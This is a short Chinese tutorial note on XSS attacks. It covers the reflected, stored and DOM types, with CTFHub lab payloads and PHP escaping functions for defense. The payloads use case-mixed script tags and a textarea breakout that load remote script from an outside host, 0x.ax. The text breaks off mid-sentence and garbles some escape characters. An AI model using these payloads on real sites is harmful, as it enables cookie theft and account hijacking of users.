XSS跨站脚本注入攻击
#XSS跨站脚本注入攻击
跨站脚本(Cross-site Scripting )攻击,攻击者通过网站注入点注入客户端可执行解析的payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等)。
为了避免与HTML语言中的CSS相混淆,通常称它为”XSS”。
XSS分为:存储型 、反射型 、DOM型XSS
###反射性XSS
非持久化,仅执行一次,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
攻击流程:攻击者->发现存在反射性XSS->根据输出点环境构造xss代码->进行代码缩短(可有可无,仅为了增加迷惑性)->发送给受害者->受害者点开链接,xss代码执行完成攻击者代码工具。
1 | <h1>hello,输入后会变成一级标题 |
1 |
|
ctfhub
1 | <sCRiPt sRC=//0x.ax/J5ddFe></sCrIpT> |
存储型XSS
特点:持久型
主要存在以攻击者将额恶意脚本存储到服务器的数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严个过滤处理而输出在用户的浏览器中,导致浏览器执行代码数据
多见于评论留言框处
服务器将它存储于数据库中,每次访问都会进行弹窗,没次都是从数据库里查询这条语句,并且显示出来,影响范围广,每个人访问这个网站都会从数据库提取信息
防御:
trim(string[, charlist]):
函数移除字符串两侧的空白字符或预定义字符( \t. \n.\xOB、\r)stripslashes(string) :
移除字符串中的反斜杠
mysqli_real_escape_string(connection, string) :
对字符串中sql的特殊符号(ixoo , \n , lr , ,,”, x1a )进行转义
strip_tags(string, allow)函数剥去字符串中的HTML、XML以及 PHP的标签;
addslashes(string)返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串;还有最后一道htmlspecialchars()函数,让你不得翻身。
1 | </tExtArEa>'"><sCRiPt sRC=https://0x.ax/J5ddFe></sCrIpT> |
DOM型XSS
特点:通过JavaScript操作document,实现dom数的重构
主要存在与用户能修页面的dom,造成客户端playload在浏览器中运行
关键代码
现在第一个框提交’;